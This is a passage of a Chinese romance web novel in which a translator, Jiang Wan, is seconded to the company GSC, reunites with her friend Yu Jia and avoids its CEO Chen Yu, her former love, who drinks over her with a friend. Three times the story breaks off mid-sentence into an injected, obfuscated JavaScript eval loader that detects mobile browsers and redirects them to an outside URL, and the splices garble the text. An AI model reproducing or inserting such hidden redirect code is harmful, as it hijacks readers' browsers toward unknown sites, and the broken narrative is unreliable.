“还有事吗?没事赶紧走吧,我还得翻译文件呢。马上GSC的项目过来,估计没时间弄其他的了,手上这点事,我得感觉处理完。” “没,没了,就这一件事,”沈繁星喝一口咖啡,笑嘻嘻对着她,“对了,不过我得提醒你一下,合同里还有一个要求,这个项目的翻译人员得外派到他们公司,和他们整个项目组一起参加工作。” 这不是一个多特殊的条款,姜挽也不是第一次面对这样的情况。以往接的翻译任务里,有的公司为了保证翻译的速度和质量,偶尔也会提出这个要求,可以往都爽快答应的她,这次却有些犹豫了。 沈繁星看出来了,问道:“怎么了?这也不是多特殊的条款啊。” 姜挽皱着眉不说话。 “你不愿意去?” 姜挽沉默敲击电脑,还是没开口。 “那给你加工资?加项目奖金?” 这次,姜挽终于开口了,很无奈的:“不是钱的事。” 是她自己心里的问题,是她没准备好。 原本以为只是接下这个项目的翻译,那她只需要把翻译做好,保质保量地完成就可以了。可现在竟然需要外派去他们公司,去了GSC,就意味着很有可能和陈屿再次遇上…… 那天无意间碰上,他的态度和语气,姜挽也看到了,她甚至都不愿意回想。讨厌她是小事,要是因为她的原因,把这个项目丢了,那可真就是得不偿失了。 “那是什么?”沈繁星有点着急,但很神奇,她这个人每次又都能误打误撞地猜中姜挽的心思,“不会是因为上次那个陈总吧?你别告诉我,被他打击两句,你真就怕了?” 姜挽不是怕,是觉得对他有愧疚,也不敢看他那冷漠的眼神,所以不知该如何面对:“我是担心,要是因为我的原因,把这个项目弄丢了,不就太不划算了吗?” 屋内陡然安静,显然沈繁星之前也没意识到这个问题,片刻,她开口:“不至于吧,他人是傲了点,但一般能做到他这个位置的人,还不至于太小心眼,应该不会和你一个小翻译过不去吧。” 那如果她这个小翻译当初狠狠得罪过他呢,这话,姜挽当然只敢在心里说。 “再说了,你不去的话,我们公司真的挑不出来第二个人了,”沈繁星又是那些老话,“其他人能力不行,我也不信任。你知道的,GSC是什么等级的公司,能和他们合作,是多少翻译公司梦寐以求的事情。要是有幸能长期保持合作关系的话,那我们以后的业务就不用愁了。” 姜挽也知道:“可……” “真的没有其他的办法了,”沈繁星也很苦恼,这会儿咖啡喝到嘴里都有点没滋没味的,“而且,这个项目我一开始就说的是安排你负责,现在要是突然换人的话,我怕GSC说我们违约。” 她把合同里违约条款找出来给姜挽看,一看那罚金比例,姜挽立马就没话说了:“行吧,我试试吧。” 大不了她就躲着点陈屿,GSC那么大,她尽量不出现在他眼前就好了。 姜挽这头答应了,沈繁星那头便立马去联系了GSC的负责人。 电话里,对方问她外派的翻译人员什么时候能到GSC报道,想到刚才姜挽的犹豫,沈繁星顿了顿,才开口:“两周之后吧,我们的翻译人员目前手上还有其他工作在处理,需要做好交接工作。” 可对方貌似很急,当即便拒绝了:“不行,两周时间太长了,我们最多能接受一周。” 沈繁星没急着答应,对方再次加码:“一周的时间,合同签完,翻译人员到位,我们就把预付款打过去。” “一周?时间也太短了吧?”办公室内,落满阳光的东窗下,姜挽听沈繁星说完,也觉得有些太着急了,“我手上还有项目在做,而且目前还带着两个人,这么短的时间内,不一定能全部交接完。” 沈繁星也觉得时间短,所以即便刚才对方已经开出了付款的条件,她也并没有一口答应,而是说要先和姜挽商量一下。 “没事儿,主要看你自己的安排,而且我也不想你压力太大。反正现在合同还没签,预付款什么的,晚点也就晚点吧,主要以你的意见为主。” 姜挽没急着拒绝,刚才乍一听是有点紧急,可静下心来捋一捋,貌似也不是不可能。 “手上的翻译我可以尽快收尾,一周应该来得及,主要是Ella和Austin,你得重新找个人带他们。” 这俩人都是今年的应届生,外国语大学毕业,基础不错,态度也踏实,姜挽帮忙带了几个月,觉得可以培养培养。 “对了,还有平时那些翻译资料和网站密码之类的,我晚点整理在一块儿,发封邮件给你,这些之前都是我定期整理和更新的,以后估计都得你来了。” 都要外派了,她还想着帮沈繁星安排这些琐事,说不感动是假的,沈繁星眼眶红红的,要过来抱她:“我就知道,把你从港城挖回来,是我这辈子做过的最正确的决定。” 胳膊伸过来,被姜挽一个侧身躲开了,她故作嫌弃地开口:“别,你可别给我戴高帽子,要感谢就来点实际的。况且GSC这项目,看起来也不是那么简单。” 沈繁星和她保证:“实际的一定有,至于GSC这个项目,你只要正常水平发挥就行,一定没问题的。” 事情基本算是定下来了,接着沈繁星去处理合同的事情,姜挽则集中精力尽快把她手上的收尾工作做完。只不过,除了这些,在外派去GSC之前,她还想要见另外一个人。 周三的那天,姜挽没加班。六点半的北城,正是拥堵热闹的时候。 搭地铁,换乘,差不多一个小时的时间,姜挽到达餐厅,然后找了个位置坐下。没多久,门口的玻璃门被推开,踏进来一抹窈窕的明黄色身影。伴着一阵燥热的微风,带着一股室外的暑气,那抹身影朝四周看了看。 是尤伽。 还是那么的恣意洒脱,还是那么的青春明媚。 见到姜挽,她很激动,三步并作两步跑过来:“呦呦,真是你!你回来了?” 这个称呼,除她妈妈之外,姜挽已经很多年没从其他人口中听到了,一瞬间,心底涌起一股别样的情绪,酸涩中还带着点安宁:“嗯,我回来了。” 尤伽在她对面坐下,一把抓住她的胳膊,头顶一盏吊灯,两人四目相对,在这近乎飘渺恍惚的光影下,她很急切,貌似有说不完的话。 “你什么时候回北城的?以后就打算留在北城了吗?” “没多久,几个月前,暂时是这样打算的。” “你回北城之后怎么没有第一时间联系我?” 这是一个姜挽没办法回答的问题,为什么她回北城之后没有第一时间联系她,其实要不是这次偶然和陈屿碰上,她可能一直都不会联系他们,不是因为别的,就是愧疚。 友情和爱情一样,当初她都是“背信弃义”的那一方,所以不敢奢求被原谅。 尤伽见她不答,也没继续追问,干脆换了个话题:“那这些年你都在哪儿呢?我尝试过联系你,可怎么也联系不上。” “在港城,大学是在港城读的,当时换号了,所有的联系方式都丢了。” 当初姜挽在江城高考完,便毅然决然地报了港城的大学,之后的几年,四年的时间在港城读大学,另外四年在港城工作。要不是今年沈繁星一再联系让她回来,她可能一辈子都不会再回来了。 留在港城,一个人孤独终老,默默无闻,也挺好的。 尤伽感慨:“竟然是港城,怪不得这些年我怎么也联系不上你。当初你转学转得那么急,我都没来得及见你一面,更没来得及和你道别。” 只是这么说,当初那些酸涩焦灼的情绪似乎就已经再次上浮,尤伽别过脸,拿手背胡乱擦了下,“呦呦,其实我一直都想问你,当初到底发生了什么,你怎么会突然转学?” 这又是一个姜挽没办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448291|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法回答的问题,当初的事情发生得太突然,几乎是一股脑全部压在了她身上。她妈妈的病,她爸爸的出轨,还有她每天都要经历的精神折磨,以她当年的那个年龄和心智,确实是没有其他的选择了。 可事情过去了终归就是过去了,她不想再翻出来惹得尤伽也心情不好,于是匆匆给了一个回答:“当时我妈妈工作变动,我不得不跟着离开。” 恰巧服务员过来询问是否需要点餐,姜挽趁机岔开话题:“先点菜吧,这些事情一时半会儿也说不清,我们边吃边说。” “好,那先吃饭,我早饿了。” 许是担心她在外地吃不到北城的味道,尤伽点了整整一桌,全部都是北城的特色菜。 饭桌上,姜挽大致和她讲了一些她这些年的经历,当初的离开被她“包装”成了沈曼的工作安排,港城那几年的艰苦生活在她口中也成了正常的求学经历。乍一听,确实是一段非常正常且普通的大学生活,和其他人没有任何区别。 尤伽本来就不是怪她,更不是非得逼着她说什么,只是想知道她这些年过得怎么样,现在听来,倒还好:“好在你这些年也没受什么苦。” 姜挽没反驳,给她舀了一碗汤递过去,而后轻声问:“那你呢?你这几年过得怎么样?” “我就还是那样,”尤伽大喇喇的,一提到自己的事情,反而还没刚才上心了,“高考分数一般,就在北城念了一所普通的大学,毕业后找了好几份工作都不合适,最后还是我爸妈托关系给我安排了一个清闲的岗位,才稳定下来。这不,连续干了两年,我又觉得累了,总觉得上班就这样,没什么意思,想辞职。” 她说这话的语气和神态,真的和姜挽记忆里的没有任何差别,姜挽忍不住笑了:“上班不就是这样,多多少少都会有些不如意,哪里有十全十美的。” 尤伽点点头,显然也认同:“那你呢,你现在做什么工作?” “翻译,我在北城的一家翻译公司上班。” “翻译好啊,脑力活,待遇好还不受气。”尤伽两眼放光,和当初第一次听闻姜挽考了年纪第二时的表情一模一样,“而且,你高中的时候英语就好,现在也算是发挥自己的强项了。” 和她讲话,姜挽不自觉间也会回到当初那种无忧无虑的状态:“刚才还说呢,每份工作都有它的优点和弊端,没有十全十美的工作。” “那你这个工作,弊端是什么?” “弊端嘛……”姜挽想了想,“我以后慢慢说给你听。” “好啊,那我们以后要经常出来吃饭,一定要常聚。” 两双眼睛,互相看着,一样的清澈透亮,一样的神采奕奕。有些东西,即便隔了好几年,即便中间从未联系过,可并不会随着时间消失弥散,反而会一直存在,历久弥新。 “对了,”尤伽突然开口,有点别别扭扭的,那表情看起来像是不知该怎么表达,又仿佛有太多东西,不知从哪开始,最后,她一狠心,“你和陈屿,还有联系吗?” 还是聊到这个话题了,从计划约尤伽出来,姜挽就知道这个话题会被提到,而且,这也是她原本打算和她说的:“没有,但我们见过了。” “没有?但你们见过了?”尤伽像是不理解,愣愣重复了一遍。 “嗯,我工作的翻译公司和他们公司有合作,之前开会的时候见过一次。而且我以后还会外派到他们公司做这个项目的翻译。” 这话一出,尤伽比刚才更愣了,她怎么也没想到她和陈屿已经有这么多联系了,低头喝一口汤,还是没忍住:“那你们有没有……” 姜挽知道她想问什么,摇了摇头:“没有,就是单纯的工作关系,而且我和他这次相遇也是十分偶然的机会,我们公司恰好投标他们公司的项目,这才见了一面。在此之前,我甚至都不知道他在北城。” 听她这么说,应该是见面不怎么愉快了,尤伽叹一口气:“要是他对你说了什么,你也不要太放在心上,他性格就那样。而且,老实说,当初你转学的事情,对他造成的伤害确实挺深的。” 言下之意,陈屿对他有恨意也是正常的。 姜挽知道,正是因为知道,才会觉得愧疚,不敢面对他。 气氛一时陷入沉默,尤伽也有点尴尬,忙换了话题:“不过话说回来,陈屿现在可厉害了,听孟云程说他一个人管着GSC,那可是北城如今数一数二的大公司,你们能和他们合作,业务这块,以后应该是不用愁了。” 姜挽淡笑了下:“希望如此吧。” 这该是她今天和尤伽见面后的第一个笑容,尤伽放下筷子,轻声开口:“谢天谢地,你终于笑了,那个我熟悉的呦呦又回来了。”尤伽拿筷子戳着一小块鸡肉,似恨似怨地,“你都不知道,刚才看见你,我觉得你和之前变了好多。” 姜挽知道她指的是什么,经历了那么多事情,还想和之前一样,那是不可能的。可她不想聊这个,太沉重,于是忽地挑眉,逗她:“你也变了。” “是吗?”尤伽忙盯着她,“哪里变了?变好了,还是变坏了?” 姜挽看着她,徐徐动嘴:“变得比以前更漂亮了。” 46. 第 46 章 一周的时间过得很快,到GSC报到这日,是个大晴天。温度很高,微风燥热,阳光穿透云层照下来,落在GSC办公大楼上,更衬得它巍然壮丽。 还是之前那个门禁,不同的是这次姜挽并没等那么长时间。不到五分钟,便有工作人员出来接待她,是GSC的HR,姜挽之前和她在微信里联系过。 “您好。”姜挽率先打招呼。 对方很客气:“你好,姜小姐,欢迎你,”但也带着大公司特有的自信和傲慢,“我先带你办手续,然后再领你去工位。虽然你是第三方工作人员,但GSC在这方面福利一向很好,你可以和其他正式员工一样,享受这栋大楼里的所有待遇。” 姜挽道谢,没多说什么,跟着她一路走。 食堂,健身房,图书馆,还有专门设置出来的休息娱乐区,对方一边走,一边和她介绍。确实配置高档,设施完善,相比于她在港城的那家公司,也是有过之而不及。 只是这些,姜挽都不大在意。 她来这里的目的只有一个,那就是尽量在不撞见陈屿的前提下,顺顺利利地完成翻译工作。 人力资源部和翻译部不在同一楼层,办完手续和领完办公用品后,HR这才带着她来到六层翻译部。 很开阔的一片区域,按不同语种进行区域划分,姜挽视线所及之处每个人都很忙碌,行走间皆是敲击键盘的声音。 英语,法语,德语,还有西班牙语等等,HR带着她大致熟悉了一圈,也做了简单的介绍,接着领着她来到一片靠近角落的区域。 这里和刚才比,语种区域的划分就没那么明显了,基本是一个大开间,按面积平均划了几个位置出来。当然,HR的介绍也比刚才简单不少。 “差不多就这些了,”HR将手中的东西放在其中一张空桌子上,和姜挽交代,“这里以后就是你的办公区域了,你先适应适应,有问题的话,随时联系我。” “好的,谢谢。”姜挽点头,道谢,她对这些要求也不高,只要基本的办公环境能满足就行。 “那你先忙,我这边也还有其他的事情要处理。” “好。” HR走后,姜挽把刚才领取的办公用品放在桌上,开始一一进行收拾,打算给电脑充电时,却发现这里的办公桌构造和她之前的不一样,找了一圈,也没发现插孔的位置。 正犯愁,右侧突然传来一个声音:“你把那块挡板掀起来,插座在挡板下面。” 姜挽扭头去看,是一个小圆脸大眼睛的姑娘,戴一副黑框眼镜,头发扎起来,看起来甜美又可爱。 她记得,这也是刚才HR介绍时,唯一一个对她露出笑容的姑娘。 陌生的环境,即便不在意,可收到这样的善意,也难免会觉得心里暖暖的:“谢谢。” 有了这个开头,两人后面的对话就显得自然多了。 “你好,我叫方简简。”那女孩干脆将凳子转了过来,看着姜挽收拾。 “你好,姜挽。” “你也是外派来GSC的翻译人员吗?” 也?那看来她也是了,姜挽扫一眼这片区域,想必这一块的应该都是了:“对,是的。” “那你是哪个翻译公司的?”方简简似乎对她很感兴趣。 “佳译。” “没听说过。”方简简摇头,表情没什么变化,“那项目呢?你具体负责的是哪个项目?” 姜挽其实并不是一个话多的人,可考虑到方简简刚才对她的善意,还是很耐心地回答:“法国尼斯度假村那个项目。” “是你啊?”这次,方简简的表情有变化了,不仅有变化,而且还十分明显,惊讶,艳羡,甚至还带着点不敢置信,一双眼睛瞪起来,比刚才更大了,“我之前还在想这个项目会由谁负责,没想到竟然是一个这么漂亮的大美女。” “来,我帮你整理。”说着,她从凳子上起身,伸手就要去拿姜挽桌上放着的东西。 姜挽其实不大习惯别人动她的东西,可刚认识,也不好意思直接拒绝:“那麻烦你了。” 她这样,方简简话更多了:“这有什么麻烦的呀,咱们都在一起工作,以后多的是机会互相帮助。不过,话说回来,你还真幸运,一来就负责法国尼斯这种项目,不像我,负责的项目不是在乌干达,就是几内亚,全部都是一些贫穷国家。” 姜挽其实觉得项目地点在哪,和她们的翻译关系并不大,毕竟在她以往的经验里,翻译这行,不是在查资料,就是在背单词,换个地点,也不过就是换个方向做这些罢了,可她开口还算委婉:“其实都差不多的,工作内容基本都一样。” 她这话,方简简可不认同:“不,差的可多了。你想想,每天面对一些海浪沙滩的翻译,和每天面对一些垃圾破烂的翻译,那感觉能一样吗?我有时候看到现场那个照片,说实话,都想吐。” 这感觉,姜挽没有过。这话题,她也不知道该如何接。其实,恶劣的环境她也面对过,甚至有时候工作需要,项目现场她也经常跑,可她却没有方简简这么多感触。工作就是工作,不应该掺杂太多个人情绪。 可她一贯的原则,不认同的观点,保持沉默就好,没必要一定要争论。 可方简简似乎还有很多话要说,正打算再度开口,坐在姜挽左边的那个一直沉默的女生,却突然发了声:“麻烦安静点,这里是工作的地方,不是你们聊天的地方。聊天的话请出门左转,那里还有咖啡。” 生硬,冷漠,毫不掩饰的嫌弃。 如此直白的情绪表达,在职场里,姜挽还是第一次遇见。 顺着这声音,她把视线转过去,对方是一个高个子姑娘,狭长的眼,高挺的鼻,皮肤很白,表情很冷,脸上一副生人勿近的漠然。 就连说这些话的时候,也不过才淡瞥了她们一眼,而后眼神快速收回,像是再多看一分钟,就会浪费她的时间似的。 考虑到刚才确实是她和方简简打扰到她了,姜挽原本打算道歉的,可方简简却把她拦下了。她拉她的胳膊,使劲往旁边拽,还将食指放在唇上,摇头让她不要开口。 等确定刚才那人听不到她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448292|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们说话了,方简简才敢小声开口:“你别和她说话,她叫林瑜,也是一个小公司的外派翻译,脾气可差了,性格也古怪,平时从不和我们沟通,一张口就是怼人,你不用搭理她。” 原来是这样。 听完这话,姜挽再去看,发现林瑜不知何时已经戴上了耳机,周身的气场比刚才还要冷漠。 因为这个插曲,方简简没再说话,周围一时安静了下来。但很快,喧嚣再次响起,不过这次并不是来自她们这边,而是靠近门口的区域。 有同事从外面进来,带来了小道消息,说是一会儿陈总会过来视察,让大家赶紧准备准备。 闻言,姜挽眉心一跳,陈总?不会这么巧吧…… 她这才来第一天。 但很快又觉得自己貌似有些惊弓之鸟了,他那种级别的领导,应该也没有这个时间和闲心。 见她没什么反应,方简简小声提醒她:“你知道他们口中的陈总是谁吗?不过你今天第一天来,应该还没见过吧?” 听她这语气,像是什么大人物,难道,还真是陈屿? “是谁?”姜挽轻声开口。 “GSC的总裁,”方简简凑近她耳边,应该是受刚才林瑜的影响,现在她说每一句话,声音都刻意压得很低,“虽然这个公司姓‘陈’的很多,但能被称为‘陈总’的,只有他一个。” 姜挽不吱声了,表情也有些无奈,方简简没注意到,还在继续和她科普:“我们这个陈总啊,和其他公司的总裁不一样。不仅没有秃头油腻,相反非常年轻,外貌和气质更是一绝。” 边说,她边从抽屉里拿出镜子开始补妆,“反正你一会儿看了就知道了,绝对会打破你一直以来对‘总裁’这两个字的偏见。” 姜挽垂下眼,暗自想着,还需要一会儿吗,这位总裁的真人她早就见识过了。不仅见识过,还被他明目张胆地嫌弃。 没多会儿,喧闹的办公室安静下来,每个人都精神抖擞,神采奕奕,想来应该是陈屿他们要来了。 果然下一秒,门外便传来一阵脚步声,接着,是好几道身影走了进来,而后便是交谈的声音,应该是在做介绍和汇报了。 姜挽本来并不想看的,无奈方简简特意拉着她:“怎么样,我没撒谎吧,够帅吧?” 她这么说,姜挽不得不抬头装装样子,不过只一眼,便瞬间看清了那道身影。黑色西装,身材颀长,五官出众,气质卓然。在一众人群里,想不看见都难。 “怎么样?是不是很帅?”方简简还在催促。 “嗯。”姜挽快速回了一句,就打算退开。 哪成想,方简简却突然变得异常激动:“快看,陈总好像往我们这边看过来了!” 听闻这句,姜挽的第一反应便是低头,她可不想和陈屿撞见。惹不起,她还躲不起嘛。要是见到她,他再一个不高兴,把对她的怨气转移到工作上,那可真就得不偿失了。 她快速回身,没再参与这些。脱离了喧嚣,姜挽这才注意到,旁边的林瑜仍然带着耳机,像是对这一切都不关注。 47. 第 47 章 陈屿从翻译部回来的第一件事,便是立马安排工作。不仅尼斯度假村这个项目的资料他全部都要,还要求以后所有和这个项目相关的会议和邮件,都得把他放在抄送里。 助理名叫宋泽宇,跟着陈屿很多年了,办事靠谱,认真踏实,且一向自认是对他最了解的。可即便如此,最近也觉得有点越来越看不懂他这个老板了。 貌似就是从尼斯度假村这个项目开始的。 先是项目定标,然后又一大早莫名要去翻译部视察,现在又要求时刻关注项目进展…… 也不是不可以,就是觉得有点没必要。尤其是和他之前一贯的风格相比,简直是天差地别。要知道,陈屿以前可是只统筹管理,推崇放权原则的。这种视察关注邮件什么的,之前可是从来没有过。 宋泽宇不明白是什么原因,却还是忍不住开口:“陈总,公司最近是要有什么变动吗?” 陈屿觉得他这个问题问得莫名其妙:“你听谁说的?” 他这样说,那就是没有,宋泽宇忙低下头,打算出去:“没有,没听谁说过。” 他这个样子,明显是话只说了一半,陈屿一向最讨厌吞吞吐吐:“有话就直说,你知道我一向不喜欢这种。” 果然,话一出口,宋泽宇便不敢再犹豫了:“真的没听谁说,我只是觉得您最近有点奇怪。” 奇怪?陈屿眉心狠狠一跳,难道他对姜挽的关注被这小子发现了?可他脸上不显,故意压低声音:“怎么说?” “您最近貌似对尼斯度假村这个项目很关注,毕竟之前也有过类似的项目,您都是不怎么参与,全权交给底下人负责的。” 还好,只是看出了他对项目的异常,陈屿松一口气。他懒得和他解释,但又担心这个心细的小子晚点再看出点什么,于是沉着脸,教育他:“人都是会变的,你不知道吗?更何况是一个公司的管理者,不与时俱进,积极改变,最后就只有被淘汰的份!” 这种假大空的话,他以前从不说,加上这次刻意为之,乍一看上去,好像还真有点生气了,宋泽宇吓得不敢再吭声。 陈屿见他这样,话锋一转,突然来到他身上:“你有时间关注我,还不如多花点心思在自己身上,想想该如何提高提高自己的专业技能。” 宋泽宇虽害怕,但智商并没有下线,加上又是一个直肠子,基本是想到什么,就说什么:“可我的工作,不就是关注您,了解您,花心思在您身上吗?” 好像还真是这么回事。 陈屿被噎,一时又找不出什么好的理由来反驳,于是只得继续板着脸:“关注也没有这样关注的,你赶紧出去,好好反思反思。” —— 到GSC上班的第一天,姜挽加班了。 倒不是说这一天的工作量有多大,只是她习惯将一天的工作做完,然后再做一个阶段性的总结。 譬如今天,她给自己定的目标就是要把项目企划书看完,对这个项目有个基本的了解。可上午的时间差不多都用来介绍和适应环境了,真正和项目经理联系上,开始工作,是从下午才开始的。 好在,这会儿也只剩最后几页了,姜挽看得正入神,手机突然响,接连几声微信提示音,她不得不暂时放下手上的工作,是沈繁星发来的。 【第一天上班感觉怎么样?有没有不适应的地方?】 【GSC的同事怎么样,还好相处吗?】 【姜挽,你不会在加班吧?第一天而已,不用这么拼!要是让他们知道你这么努力,这么拼命,以后可不得使劲欺负你?】 姜挽看着她的微信,忍不住感叹,自己都离她这么远了,她竟然还能一猜一个准:【都挺好,马上就打算下班了。】 沈繁星回得很快:【那就好,要是有什么不适应的,你一定要和我说,虽然咱们是被外派过去的,但也绝对不能受委屈。】 【还有,记住我说的话,不要太拼命,正常完成工作就够了。】 姜挽知道她的意思。原则上,作为佳译外派来的翻译,只有她拼命工作了,才能给公司带来更多的收益,可沈繁星却并没有这样要求她,可见,她是真把她当朋友的。 【知道啦,】姜挽也想和她多说两句,可活还没干完,【先不说了,我得赶紧把手上的工作处理完,然后下班。】 【好,随时保持联系。】 二十分钟后,姜挽看完企划书,并完成了相对应的工作总结。抬头看一眼,这个时间点办公室已经基本没人了,除了她,就只剩她旁边的林瑜。 离开前,她犹豫了下要不要和林瑜打个招呼,可看她仍旧带着耳机,而且考虑到她上午的那些话,想来应该也是一个不愿意被打扰的人,于是干脆作罢。 从办公室出来,姜挽直奔电梯,微信里佳译的其他同事还在问她翻译的问题,她忙着回复,按了电梯后,也就没盯着看。 很快,电梯到达六层,她刚打算迈步进去,一抬头,却突然愣住了,硬生生停下了脚步。 因为此时电梯里已经有其他人在了,而这个“其他人”不是别人,恰巧就是陈屿。 …… 还真是,狭路相逢。 短短几秒的时间,姜挽迅速做了抉择,她收回脚步,礼貌开口:“您先下,我等下一趟。” 说罢,她去看陈屿的表情,见他没什么反应,应该是默认了她这个提议。 眼看着电梯门就要关上,姜挽这才松了一口气,可不待这一口气落到实处,突然间,原本快要闭合的电梯门却再次打开,陈屿那张帅得近乎不真实的脸再次出现在她的视线里。 他指尖还停留在开门按钮处,低头看着她,那表情,说轻蔑太重,说漠然又太轻,更像是介乎于这二者之间的一种玩味,冷淡的,高高在上的,俯瞰一个再普通不过的小员工。 “怎么,姜小姐这么讨厌我?连同乘一部电梯都不愿意?” “当然不是,您误会了。”箭在弦上,不得不发。姜挽低着头,深吸一口气,迈步进电梯,“陈总好。” 陈屿淡淡收回落在她身上的视线,没回答。 电梯的空间还算大,姜挽刻意找了和他对角线的位置站着,可即便如此,和他单独在这种环境下待着,也足以让她紧张得呼吸困难。 以前种种,此时此刻,北城,江城,城南寺,还有离开时的那场雨,一幕幕,仿佛电影画面似的,此刻正飞快地在她脑海中闪回。 “几楼?” “什么?” 姜挽一时没反应过来,而陈屿则像是不耐烦,没再问,伸出指尖径直按了一楼的按钮。两人之间的距离一瞬间拉近,刹那间,微微一缕淡香传来,像是雪松和沉木的混合,还带着一点烟草的苦涩。 很快又消散。 姜挽这才明白,原来他刚才问的是楼层,视线随之看过去,一楼,负一楼两层的按钮都亮着,难怪他会问了。 “谢谢。” 话说出去,照例没有回复。 姜挽发现了,对她的感谢或者打招呼之类的话,陈屿几乎都不会接,只有实在避免不了的话题,他才会开口。很明显,他并不想和她有过多的言语沟通。 意识到这个问题,姜挽没再自讨没趣,两人之间一时陷入沉默,一段干涩又压抑的沉默。 好在从六层下去楼层并不高,这会儿电梯也已经到达一层,电梯门打开,原本姜挽还有些犹豫,想着要不要说一句“再见”,可回头,就见陈屿已经按了关门按钮,似乎迫不及待地要和她撇清关系。 如此,也好。 姜挽没再说什么,低头快速迈出电梯。 从办公楼出来,立时一股热气扑来,闷热,粘腻,要把人从里到外都蒸干了的那种难受。可姜挽却没什么感觉,仿佛只有此刻外界的燥热,才能稍微缓解几分她内心的寒意。 如今看来,和陈屿相比,她貌似才是放不下的那个。冷若冰霜也好,偶尔孤傲也罢,这都是他作为甲方领导,正常的一种反应。反倒是她,想得有些太多了。 原本姜挽还担心因为之前的事,会不会影响她在GSC的工作。现在看来,大概率是不会了。他既然不想和她有过多接触,自然也就不会再拿那些事情做文章。而上次在会上之所以会那样说,应该也就是对工作要求严格罢了。 不过这样也好,没有这些复杂的关系,至少她还能在GSC踏实工作下去。 姜挽离开后,陈屿直接下负一层,取了车,却并没回家,而是一脚油门,直接选了市中心的方向。 路上,他给孟云程去了一个电话:“老地方,半个小时后见。” 孟云程刚吃完饭,正无聊,所以答应得也很快:“行啊,我现在就过去。” 陈屿口中的老地方,是位于北城市中心的一家酒吧,名为“蓝调”,孟云程在这里有专门的VIP专区,所以有事没事他们经常会来这里聚。 孟云程到的时候,陈屿正在喝酒,加了冰的威士忌只剩半杯,透明的冰块在琥珀色的液体中浮浮沉沉,灯光下,显得格外闪亮。 “嚯,玩儿这么大,”孟云程自然坐下,潇洒地朝旁边的侍应生打了一个响指,“和他一样,谢谢。” 说罢,他脱掉外套,随意往旁边的沙发上一扔,不问陈屿找他有什么事,反倒对他喝酒这件事更感兴趣:“喝这么猛,你打车来的?” “开车。”陈屿回答得很干脆,甚至在说完后,紧接着又仰头喝了一大口。 “开车你还敢这么喝?” “一会儿找代驾。” “不让你助理来?” “不了。” “行吧。” 酒端上来,孟云程摇晃两下,浅尝了一口:“今天这酒味道不对,”他啧嘴,幽幽开口,“人也不对。” 他说的是陈屿,陈屿也知道,可他就是不接腔。 周围很吵,炫彩镭射灯,强烈节奏感的电子音乐,还有到处舞动的人影,喧闹着,鼎沸着。 可四周越热闹,就衬得他们这块却冷清,尤其是陈屿,那眼神黯淡得,就差直接说“我很难受”,“难受得想死了”。 孟云程实在是看不下去了,他大抵能猜到是因为什么,毕竟这么多年了,能让陈屿这样的,他只知道一个人。 可看他这样,孟云程心里不得劲,于是故意怼他:“你小子到底怎么了,哭丧着一张脸。” “没事。”陈屿什么也不说,只一个劲地灌酒。五十度左右的烈酒入喉,穿肠,带起胃部一阵痉挛,他却像没感觉似的,眉头都没皱一下。 孟云程轻嗤一声,像是不屑于揭穿他:“是和姜挽有关吧?” 这次,陈屿有反应了,握酒杯的右手瞬间顿住,玻璃杯来来回回在手里转了好几圈,也没再喝。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448293|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你怎么知道?”他语气平淡,像是在问一个再普通不过的问题,可始终不肯抬起的眼睫还有指尖的青白,却在昭示着他此刻内心的翻江倒海。 “你自己有多明显,你不知道吗?”孟云程这会连调侃他的心思都没有了,抬手按了按额角,似乎很无奈,“再说这么多年了,能让你借酒消愁的,除了她,还有谁?” 提到这,他又想起了当初那些不开心的回忆:“有些事我都不想提,当初她离开的时候,你才多大年纪啊,每天就在酒吧里喝得烂醉,喝到最后胃出血,还他妈是我去接的你。” 当初的事,孟云程确实帮了他很多,陈屿没什么好解释的,朝他扬了扬杯子,算是感谢。 孟云程陪一个,不过,他刚才说那些也不是为了让他感谢他的,他们之间,根本不需要计较这么多。 “她回来了吧?”孟云程突然问。 “你怎么知道?”这次,陈屿终于抬了眼。 孟云程淡瞥他一眼,似乎有点怪他被感情蒙蔽了心智:“你忘了,在北城,除了你之外,她还认识尤伽啊,既然回到北城,她当然会联系她。” 原来是这么个情况,陈屿竟然把这茬忘了。 原来竟是她主动联系的尤伽。 和尤伽不同的是,他和姜挽的重逢,却是他费了九牛二五之力,搭上整个GSC的资源,才在工作上和她搭上关系的。 这样一比较,差别还真是大。 原本,陈屿还对自己的这种做法有些愧疚,如今看来倒是完全不用了。 既然她能主动联系上尤伽,就说明她也是能联系上自己的。可这么长时间了,却没有任何动静,明显是她不想。 她在躲她,不愿再见他。 和当初一样。 北城这么大,若是她有心躲着,两人一辈子不遇见也不是不可能。 稍一想到会有这种可能性,陈屿就心痛得几乎窒息,只能快速灌一口酒,才能勉强压下这涩然的情绪。 